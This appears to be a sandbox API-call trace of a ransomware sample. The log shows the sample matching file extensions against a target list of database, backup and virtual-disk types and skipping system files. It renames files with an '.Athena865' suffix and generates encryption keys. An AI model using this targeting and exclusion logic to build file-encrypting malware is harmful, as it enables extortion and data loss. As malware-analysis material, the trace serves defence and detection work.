[0132.794] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0132.794] lstrlenW (lpString="adn") returned 3 [0132.794] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0132.794] lstrlenW (lpString="adp") returned 3 [0132.794] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0132.794] lstrlenW (lpString="alf") returned 3 [0132.794] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0132.794] lstrlenW (lpString="ask") returned 3 [0132.794] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0132.794] lstrlenW (lpString="btr") returned 3 [0132.795] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0132.795] lstrlenW (lpString="cat") returned 3 [0132.795] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0132.795] lstrlenW (lpString="cdb") returned 3 [0132.795] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0132.795] lstrlenW (lpString="ckp") returned 3 [0132.795] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0132.795] lstrlenW (lpString="cma") returned 3 [0132.795] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0132.795] lstrlenW (lpString="cpd") returned 3 [0132.795] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0132.795] lstrlenW (lpString="dacpac") returned 6 [0132.795] lstrcmpiW (lpString1="8_.WMF", lpString2="dacpac") returned -1 [0132.795] lstrlenW (lpString="dad") returned 3 [0132.795] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0132.795] lstrlenW (lpString="dadiagrams") returned 10 [0132.795] lstrcmpiW (lpString1="00478_.WMF", lpString2="dadiagrams") returned -1 [0132.795] lstrlenW (lpString="daschema") returned 8 [0132.795] lstrcmpiW (lpString1="478_.WMF", lpString2="daschema") returned -1 [0132.795] lstrlenW (lpString="db-journal") returned 10 [0132.795] lstrcmpiW (lpString1="00478_.WMF", lpString2="db-journal") returned -1 [0132.795] lstrlenW (lpString="db-shm") returned 6 [0132.795] lstrcmpiW (lpString1="8_.WMF", lpString2="db-shm") returned -1 [0132.795] lstrlenW (lpString="db-wal") returned 6 [0132.795] lstrcmpiW (lpString1="8_.WMF", lpString2="db-wal") returned -1 [0132.795] lstrlenW (lpString="dbc") returned 3 [0132.795] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0132.795] lstrlenW (lpString="dbs") returned 3 [0132.795] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0132.796] lstrlenW (lpString="dbt") returned 3 [0132.796] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0132.796] lstrlenW (lpString="dbv") returned 3 [0132.796] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0132.796] lstrlenW (lpString="dbx") returned 3 [0132.796] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0132.796] lstrlenW (lpString="dcb") returned 3 [0132.796] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0132.796] lstrlenW (lpString="dct") returned 3 [0132.796] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0132.796] lstrlenW (lpString="dcx") returned 3 [0132.796] lstrcmpiW (lpString1="WMF", lpString2="dcx") returned 1 [0132.796] lstrlenW (lpString="ddl") returned 3 [0132.796] lstrcmpiW (lpString1="WMF", lpString2="ddl") returned 1 [0132.796] lstrlenW (lpString="dlis") returned 4 [0132.796] lstrcmpiW (lpString1=".WMF", lpString2="dlis") returned -1 [0132.796] lstrlenW (lpString="dp1") returned 3 [0132.796] lstrcmpiW (lpString1="WMF", lpString2="dp1") returned 1 [0132.796] lstrlenW (lpString="dqy") returned 3 [0132.796] lstrcmpiW (lpString1="WMF", lpString2="dqy") returned 1 [0132.796] lstrlenW (lpString="dsk") returned 3 [0132.796] lstrcmpiW (lpString1="WMF", lpString2="dsk") returned 1 [0132.796] lstrlenW (lpString="dsn") returned 3 [0132.796] lstrcmpiW (lpString1="WMF", lpString2="dsn") returned 1 [0132.796] lstrlenW (lpString="dtsx") returned 4 [0132.796] lstrcmpiW (lpString1=".WMF", lpString2="dtsx") returned -1 [0132.796] lstrlenW (lpString="dxl") returned 3 [0132.796] lstrcmpiW (lpString1="WMF", lpString2="dxl") returned 1 [0132.796] lstrlenW (lpString="eco") returned 3 [0132.796] lstrcmpiW (lpString1="WMF", lpString2="eco") returned 1 [0132.797] lstrlenW (lpString="ecx") returned 3 [0132.797] lstrcmpiW (lpString1="WMF", lpString2="ecx") returned 1 [0132.797] lstrlenW (lpString="edb") returned 3 [0132.797] lstrcmpiW (lpString1="WMF", lpString2="edb") returned 1 [0132.797] lstrlenW (lpString="epim") returned 4 [0132.797] lstrcmpiW (lpString1=".WMF", lpString2="epim") returned -1 [0132.797] lstrlenW (lpString="fcd") returned 3 [0132.797] lstrcmpiW (lpString1="WMF", lpString2="fcd") returned 1 [0132.797] lstrlenW (lpString="fdb") returned 3 [0132.797] lstrcmpiW (lpString1="WMF", lpString2="fdb") returned 1 [0132.797] lstrlenW (lpString="fic") returned 3 [0132.797] lstrcmpiW (lpString1="WMF", lpString2="fic") returned 1 [0132.797] lstrlenW (lpString="flexolibrary") returned 12 [0132.797] lstrlenW (lpString="fm5") returned 3 [0132.797] lstrcmpiW (lpString1="WMF", lpString2="fm5") returned 1 [0132.797] lstrlenW (lpString="fmp") returned 3 [0132.797] lstrcmpiW (lpString1="WMF", lpString2="fmp") returned 1 [0132.797] lstrlenW (lpString="fmp12") returned 5 [0132.797] lstrcmpiW (lpString1="_.WMF", lpString2="fmp12") returned -1 [0132.797] lstrlenW (lpString="fmpsl") returned 5 [0132.797] lstrcmpiW (lpString1="_.WMF", lpString2="fmpsl") returned -1 [0132.797] lstrlenW (lpString="fol") returned 3 [0132.797] lstrcmpiW (lpString1="WMF", lpString2="fol") returned 1 [0132.797] lstrlenW (lpString="fp3") returned 3 [0132.797] lstrcmpiW (lpString1="WMF", lpString2="fp3") returned 1 [0132.797] lstrlenW (lpString="fp4") returned 3 [0132.797] lstrcmpiW (lpString1="WMF", lpString2="fp4") returned 1 [0132.797] lstrlenW (lpString="fp5") returned 3 [0132.797] lstrcmpiW (lpString1="WMF", lpString2="fp5") returned 1 [0132.798] lstrlenW (lpString="fp7") returned 3 [0132.798] lstrcmpiW (lpString1="WMF", lpString2="fp7") returned 1 [0132.798] lstrlenW (lpString="fpt") returned 3 [0132.798] lstrcmpiW (lpString1="WMF", lpString2="fpt") returned 1 [0132.798] lstrlenW (lpString="frm") returned 3 [0132.798] lstrcmpiW (lpString1="WMF", lpString2="frm") returned 1 [0132.798] lstrlenW (lpString="gdb") returned 3 [0132.798] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0132.798] lstrlenW (lpString="gdb") returned 3 [0132.798] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0132.798] lstrlenW (lpString="grdb") returned 4 [0132.798] lstrcmpiW (lpString1=".WMF", lpString2="grdb") returned -1 [0132.798] lstrlenW (lpString="gwi") returned 3 [0132.798] lstrcmpiW (lpString1="WMF", lpString2="gwi") returned 1 [0132.798] lstrlenW (lpString="hdb") returned 3 [0132.798] lstrcmpiW (lpString1="WMF", lpString2="hdb") returned 1 [0132.798] lstrlenW (lpString="his") returned 3 [0132.798] lstrcmpiW (lpString1="WMF", lpString2="his") returned 1 [0132.798] lstrlenW (lpString="ib") returned 2 [0132.798] lstrcmpiW (lpString1="MF", lpString2="ib") returned 1 [0132.798] lstrlenW (lpString="idb") returned 3 [0132.798] lstrcmpiW (lpString1="WMF", lpString2="idb") returned 1 [0132.798] lstrlenW (lpString="ihx") returned 3 [0132.798] lstrcmpiW (lpString1="WMF", lpString2="ihx") returned 1 [0132.798] lstrlenW (lpString="itdb") returned 4 [0132.798] lstrcmpiW (lpString1=".WMF", lpString2="itdb") returned -1 [0132.798] lstrlenW (lpString="itw") returned 3 [0132.798] lstrcmpiW (lpString1="WMF", lpString2="itw") returned 1 [0132.798] lstrlenW (lpString="jet") returned 3 [0132.799] lstrcmpiW (lpString1="WMF", lpString2="jet") returned 1 [0132.799] lstrlenW (lpString="jtx") returned 3 [0132.799] lstrcmpiW (lpString1="WMF", lpString2="jtx") returned 1 [0132.799] lstrlenW (lpString="kdb") returned 3 [0132.799] lstrcmpiW (lpString1="WMF", lpString2="kdb") returned 1 [0132.799] lstrlenW (lpString="kexi") returned 4 [0132.799] lstrcmpiW (lpString1=".WMF", lpString2="kexi") returned -1 [0132.799] lstrlenW (lpString="kexic") returned 5 [0132.799] lstrcmpiW (lpString1="_.WMF", lpString2="kexic") returned -1 [0132.799] lstrlenW (lpString="kexis") returned 5 [0132.799] lstrcmpiW (lpString1="_.WMF", lpString2="kexis") returned -1 [0132.799] lstrlenW (lpString="lgc") returned 3 [0132.799] lstrcmpiW (lpString1="WMF", lpString2="lgc") returned 1 [0132.799] lstrlenW (lpString="lwx") returned 3 [0132.799] lstrcmpiW (lpString1="WMF", lpString2="lwx") returned 1 [0132.799] lstrlenW (lpString="maf") returned 3 [0132.799] lstrcmpiW (lpString1="WMF", lpString2="maf") returned 1 [0132.799] lstrlenW (lpString="maq") returned 3 [0132.799] lstrcmpiW (lpString1="WMF", lpString2="maq") returned 1 [0132.799] lstrlenW (lpString="mar") returned 3 [0132.799] lstrcmpiW (lpString1="WMF", lpString2="mar") returned 1 [0132.799] lstrlenW (lpString="marshal") returned 7 [0132.799] lstrcmpiW (lpString1="78_.WMF", lpString2="marshal") returned -1 [0132.799] lstrlenW (lpString="mas") returned 3 [0132.799] lstrcmpiW (lpString1="WMF", lpString2="mas") returned 1 [0132.799] lstrlenW (lpString="mav") returned 3 [0132.799] lstrcmpiW (lpString1="WMF", lpString2="mav") returned 1 [0132.799] lstrlenW (lpString="maw") returned 3 [0132.800] lstrcmpiW (lpString1="WMF", lpString2="maw") returned 1 [0132.800] lstrlenW (lpString="mdbhtml") returned 7 [0132.800] lstrcmpiW (lpString1="78_.WMF", lpString2="mdbhtml") returned -1 [0132.800] lstrlenW (lpString="mdn") returned 3 [0132.800] lstrcmpiW (lpString1="WMF", lpString2="mdn") returned 1 [0132.800] lstrlenW (lpString="mdt") returned 3 [0132.800] lstrcmpiW (lpString1="WMF", lpString2="mdt") returned 1 [0132.800] lstrlenW (lpString="mfd") returned 3 [0132.800] lstrcmpiW (lpString1="WMF", lpString2="mfd") returned 1 [0132.800] lstrlenW (lpString="mpd") returned 3 [0132.800] lstrcmpiW (lpString1="WMF", lpString2="mpd") returned 1 [0132.800] lstrlenW (lpString="mrg") returned 3 [0132.800] lstrcmpiW (lpString1="WMF", lpString2="mrg") returned 1 [0132.800] lstrlenW (lpString="mud") returned 3 [0132.800] lstrcmpiW (lpString1="WMF", lpString2="mud") returned 1 [0132.800] lstrlenW (lpString="mwb") returned 3 [0132.800] lstrcmpiW (lpString1="WMF", lpString2="mwb") returned 1 [0132.800] lstrlenW (lpString="myd") returned 3 [0132.800] lstrcmpiW (lpString1="WMF", lpString2="myd") returned 1 [0132.800] lstrlenW (lpString="ndf") returned 3 [0132.800] lstrcmpiW (lpString1="WMF", lpString2="ndf") returned 1 [0132.800] lstrlenW (lpString="nnt") returned 3 [0132.800] lstrcmpiW (lpString1="WMF", lpString2="nnt") returned 1 [0132.800] lstrlenW (lpString="nrmlib") returned 6 [0132.800] lstrcmpiW (lpString1="8_.WMF", lpString2="nrmlib") returned -1 [0132.800] lstrlenW (lpString="ns2") returned 3 [0132.800] lstrcmpiW (lpString1="WMF", lpString2="ns2") returned 1 [0132.800] lstrlenW (lpString="ns3") returned 3 [0132.800] lstrcmpiW (lpString1="WMF", lpString2="ns3") returned 1 [0132.801] lstrlenW (lpString="ns4") returned 3 [0132.801] lstrcmpiW (lpString1="WMF", lpString2="ns4") returned 1 [0132.801] lstrlenW (lpString="nsf") returned 3 [0132.801] lstrcmpiW (lpString1="WMF", lpString2="nsf") returned 1 [0132.801] lstrlenW (lpString="nv") returned 2 [0132.801] lstrcmpiW (lpString1="MF", lpString2="nv") returned -1 [0132.801] lstrlenW (lpString="nv2") returned 3 [0132.801] lstrcmpiW (lpString1="WMF", lpString2="nv2") returned 1 [0132.801] lstrlenW (lpString="nwdb") returned 4 [0132.801] lstrcmpiW (lpString1=".WMF", lpString2="nwdb") returned -1 [0132.801] lstrlenW (lpString="nyf") returned 3 [0132.801] lstrcmpiW (lpString1="WMF", lpString2="nyf") returned 1 [0132.801] lstrlenW (lpString="odb") returned 3 [0132.801] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0132.801] lstrlenW (lpString="odb") returned 3 [0132.801] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0132.801] lstrlenW (lpString="oqy") returned 3 [0132.801] lstrcmpiW (lpString1="WMF", lpString2="oqy") returned 1 [0132.801] lstrlenW (lpString="ora") returned 3 [0132.801] lstrcmpiW (lpString1="WMF", lpString2="ora") returned 1 [0132.801] lstrlenW (lpString="orx") returned 3 [0132.801] lstrcmpiW (lpString1="WMF", lpString2="orx") returned 1 [0132.801] lstrlenW (lpString="owc") returned 3 [0132.801] lstrcmpiW (lpString1="WMF", lpString2="owc") returned 1 [0132.801] lstrlenW (lpString="p96") returned 3 [0132.801] lstrcmpiW (lpString1="WMF", lpString2="p96") returned 1 [0132.801] lstrlenW (lpString="p97") returned 3 [0132.801] lstrcmpiW (lpString1="WMF", lpString2="p97") returned 1 [0132.801] lstrlenW (lpString="pan") returned 3 [0132.801] lstrcmpiW (lpString1="WMF", lpString2="pan") returned 1 [0132.802] lstrlenW (lpString="pdb") returned 3 [0132.802] lstrcmpiW (lpString1="WMF", lpString2="pdb") returned 1 [0132.802] lstrlenW (lpString="pdm") returned 3 [0132.802] lstrcmpiW (lpString1="WMF", lpString2="pdm") returned 1 [0132.802] lstrlenW (lpString="pnz") returned 3 [0132.802] lstrcmpiW (lpString1="WMF", lpString2="pnz") returned 1 [0132.802] lstrlenW (lpString="qry") returned 3 [0132.802] lstrcmpiW (lpString1="WMF", lpString2="qry") returned 1 [0132.802] lstrlenW (lpString="qvd") returned 3 [0132.802] lstrcmpiW (lpString1="WMF", lpString2="qvd") returned 1 [0132.802] lstrlenW (lpString="rbf") returned 3 [0132.802] lstrcmpiW (lpString1="WMF", lpString2="rbf") returned 1 [0132.802] lstrlenW (lpString="rctd") returned 4 [0132.802] lstrcmpiW (lpString1=".WMF", lpString2="rctd") returned -1 [0132.802] lstrlenW (lpString="rod") returned 3 [0132.802] lstrcmpiW (lpString1="WMF", lpString2="rod") returned 1 [0132.802] lstrlenW (lpString="rodx") returned 4 [0132.802] lstrcmpiW (lpString1=".WMF", lpString2="rodx") returned -1 [0132.802] lstrlenW (lpString="rpd") returned 3 [0132.802] lstrcmpiW (lpString1="WMF", lpString2="rpd") returned 1 [0132.802] lstrlenW (lpString="rsd") returned 3 [0132.802] lstrcmpiW (lpString1="WMF", lpString2="rsd") returned 1 [0132.802] lstrlenW (lpString="sas7bdat") returned 8 [0132.802] lstrcmpiW (lpString1="478_.WMF", lpString2="sas7bdat") returned -1 [0132.802] lstrlenW (lpString="sbf") returned 3 [0132.802] lstrcmpiW (lpString1="WMF", lpString2="sbf") returned 1 [0132.802] lstrlenW (lpString="scx") returned 3 [0132.802] lstrcmpiW (lpString1="WMF", lpString2="scx") returned 1 [0132.802] lstrlenW (lpString="sdb") returned 3 [0132.803] lstrcmpiW (lpString1="WMF", lpString2="sdb") returned 1 [0132.803] lstrlenW (lpString="sdc") returned 3 [0132.803] lstrcmpiW (lpString1="WMF", lpString2="sdc") returned 1 [0132.803] lstrlenW (lpString="sdf") returned 3 [0132.803] lstrcmpiW (lpString1="WMF", lpString2="sdf") returned 1 [0132.803] lstrlenW (lpString="sis") returned 3 [0132.803] lstrcmpiW (lpString1="WMF", lpString2="sis") returned 1 [0132.803] lstrlenW (lpString="spq") returned 3 [0132.803] lstrcmpiW (lpString1="WMF", lpString2="spq") returned 1 [0132.803] lstrlenW (lpString="te") returned 2 [0132.803] lstrcmpiW (lpString1="MF", lpString2="te") returned -1 [0132.803] lstrlenW (lpString="teacher") returned 7 [0132.803] lstrcmpiW (lpString1="78_.WMF", lpString2="teacher") returned -1 [0132.803] lstrlenW (lpString="tmd") returned 3 [0132.803] lstrcmpiW (lpString1="WMF", lpString2="tmd") returned 1 [0132.803] lstrlenW (lpString="tps") returned 3 [0132.803] lstrcmpiW (lpString1="WMF", lpString2="tps") returned 1 [0132.803] lstrlenW (lpString="trc") returned 3 [0132.803] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0132.803] lstrlenW (lpString="trc") returned 3 [0132.803] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0132.803] lstrlenW (lpString="trm") returned 3 [0132.803] lstrcmpiW (lpString1="WMF", lpString2="trm") returned 1 [0132.803] lstrlenW (lpString="udb") returned 3 [0132.803] lstrcmpiW (lpString1="WMF", lpString2="udb") returned 1 [0132.803] lstrlenW (lpString="udl") returned 3 [0132.803] lstrcmpiW (lpString1="WMF", lpString2="udl") returned 1 [0132.803] lstrlenW (lpString="usr") returned 3 [0132.804] lstrcmpiW (lpString1="WMF", lpString2="usr") returned 1 [0132.804] lstrlenW (lpString="v12") returned 3 [0132.804] lstrcmpiW (lpString1="WMF", lpString2="v12") returned 1 [0132.804] lstrlenW (lpString="vis") returned 3 [0132.804] lstrcmpiW (lpString1="WMF", lpString2="vis") returned 1 [0132.804] lstrlenW (lpString="vpd") returned 3 [0132.804] lstrcmpiW (lpString1="WMF", lpString2="vpd") returned 1 [0132.804] lstrlenW (lpString="vvv") returned 3 [0132.804] lstrcmpiW (lpString1="WMF", lpString2="vvv") returned 1 [0132.804] lstrlenW (lpString="wdb") returned 3 [0132.804] lstrcmpiW (lpString1="WMF", lpString2="wdb") returned 1 [0132.804] lstrlenW (lpString="wmdb") returned 4 [0132.804] lstrcmpiW (lpString1=".WMF", lpString2="wmdb") returned -1 [0132.804] lstrlenW (lpString="wrk") returned 3 [0132.804] lstrcmpiW (lpString1="WMF", lpString2="wrk") returned -1 [0132.804] lstrlenW (lpString="xdb") returned 3 [0132.804] lstrcmpiW (lpString1="WMF", lpString2="xdb") returned -1 [0132.804] lstrlenW (lpString="xld") returned 3 [0132.804] lstrcmpiW (lpString1="WMF", lpString2="xld") returned -1 [0132.804] lstrlenW (lpString="xmlff") returned 5 [0132.804] lstrcmpiW (lpString1="_.WMF", lpString2="xmlff") returned -1 [0132.804] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00478_.WMF.Athena865") returned 73 [0132.804] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00478_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00478_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00478_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00478_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00478_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00478_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.807] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7416) returned 1 [0132.807] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0132.807] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0132.807] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0132.807] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.808] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.808] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.808] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2000, lpName=0x0) returned 0x154 [0132.809] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2000) returned 0x100000 [0132.810] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.811] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.811] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.811] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0132.811] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0132.811] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b340 [0132.811] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0132.811] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b340 | out: hHeap=0x4f0000) returned 1 [0132.811] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0132.811] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0132.812] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0132.812] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0132.812] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0132.812] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0132.812] CloseHandle (hObject=0x154) returned 1 [0132.812] CloseHandle (hObject=0x17c) returned 1 [0132.812] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0132.812] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0132.812] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0132.812] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb32c0c00, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb32c0c00, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x4124, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE00485_.WMF", cAlternateFileName="")) returned 1 [0132.812] lstrcmpiW (lpString1="PE00485_.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0132.812] lstrcmpiW (lpString1="PE00485_.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0132.812] lstrcmpiW (lpString1="PE00485_.WMF", lpString2=".") returned 1 [0132.812] lstrcmpiW (lpString1="PE00485_.WMF", lpString2="..") returned 1 [0132.812] lstrcmpiW (lpString1="PE00485_.WMF", lpString2="windows") returned -1 [0132.813] lstrcmpiW (lpString1="PE00485_.WMF", lpString2="bootmgr") returned 1 [0132.813] lstrcmpiW (lpString1="PE00485_.WMF", lpString2="temp") returned -1 [0132.813] lstrcmpiW (lpString1="PE00485_.WMF", lpString2="pagefile.sys") returned 1 [0132.813] lstrcmpiW (lpString1="PE00485_.WMF", lpString2="boot") returned 1 [0132.813] lstrcmpiW (lpString1="PE00485_.WMF", lpString2="ids.txt") returned 1 [0132.813] lstrcmpiW (lpString1="PE00485_.WMF", lpString2="ntuser.dat") returned 1 [0132.813] lstrcmpiW (lpString1="PE00485_.WMF", lpString2="perflogs") returned -1 [0132.813] lstrcmpiW (lpString1="PE00485_.WMF", lpString2="MSBuild") returned 1 [0132.813] lstrlenW (lpString="PE00485_.WMF") returned 12 [0132.813] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE00485_.WMF" | out: lpString1="PE00485_.WMF") returned="PE00485_.WMF" [0132.813] lstrlenW (lpString="PE00485_.WMF") returned 12 [0132.813] lstrlenW (lpString="Athena865") returned 9 [0132.813] lstrcmpiW (lpString1="0485_.WMF", lpString2="Athena865") returned -1 [0132.813] lstrlenW (lpString=".dll") returned 4 [0132.813] lstrcmpiW (lpString1="PE00485_.WMF", lpString2=".dll") returned 1 [0132.813] lstrlenW (lpString=".lnk") returned 4 [0132.813] lstrcmpiW (lpString1="PE00485_.WMF", lpString2=".lnk") returned 1 [0132.813] lstrlenW (lpString=".ini") returned 4 [0132.813] lstrcmpiW (lpString1="PE00485_.WMF", lpString2=".ini") returned 1 [0132.813] lstrlenW (lpString=".sys") returned 4 [0132.813] lstrcmpiW (lpString1="PE00485_.WMF", lpString2=".sys") returned 1 [0132.813] lstrlenW (lpString="PE00485_.WMF") returned 12 [0132.813] lstrlenW (lpString="bak") returned 3 [0132.813] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0132.813] lstrlenW (lpString="ba_") returned 3 [0132.813] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0132.813] lstrlenW (lpString="dbb") returned 3 [0132.813] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0132.813] lstrlenW (lpString="vmdk") returned 4 [0132.814] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0132.814] lstrlenW (lpString="rar") returned 3 [0132.814] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0132.814] lstrlenW (lpString="zip") returned 3 [0132.814] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0132.814] lstrlenW (lpString="tgz") returned 3 [0132.814] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0132.814] lstrlenW (lpString="vbox") returned 4 [0132.814] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0132.814] lstrlenW (lpString="vdi") returned 3 [0132.814] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0132.814] lstrlenW (lpString="vhd") returned 3 [0132.814] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0132.814] lstrlenW (lpString="vhdx") returned 4 [0132.814] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0132.814] lstrlenW (lpString="avhd") returned 4 [0132.814] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0132.814] lstrlenW (lpString="db") returned 2 [0132.814] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0132.814] lstrlenW (lpString="db2") returned 3 [0132.814] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0132.814] lstrlenW (lpString="db3") returned 3 [0132.814] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0132.814] lstrlenW (lpString="dbf") returned 3 [0132.814] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0132.814] lstrlenW (lpString="mdf") returned 3 [0132.814] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0132.814] lstrlenW (lpString="mdb") returned 3 [0132.814] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0132.815] lstrlenW (lpString="sql") returned 3 [0132.815] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0132.815] lstrlenW (lpString="sqlite") returned 6 [0132.815] lstrcmpiW (lpString1="5_.WMF", lpString2="sqlite") returned -1 [0132.815] lstrlenW (lpString="sqlite3") returned 7 [0132.815] lstrcmpiW (lpString1="85_.WMF", lpString2="sqlite3") returned -1 [0132.815] lstrlenW (lpString="sqlitedb") returned 8 [0132.815] lstrcmpiW (lpString1="485_.WMF", lpString2="sqlitedb") returned -1 [0132.815] lstrlenW (lpString="xml") returned 3 [0132.815] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0132.815] lstrlenW (lpString="$er") returned 3 [0132.815] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0132.815] lstrlenW (lpString="4dd") returned 3 [0132.815] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0132.815] lstrlenW (lpString="4dl") returned 3 [0132.815] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0132.815] lstrlenW (lpString="^^^") returned 3 [0132.815] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0132.815] lstrlenW (lpString="abs") returned 3 [0132.815] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0132.815] lstrlenW (lpString="abx") returned 3 [0132.815] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0132.815] lstrlenW (lpString="accdb") returned 5 [0132.815] 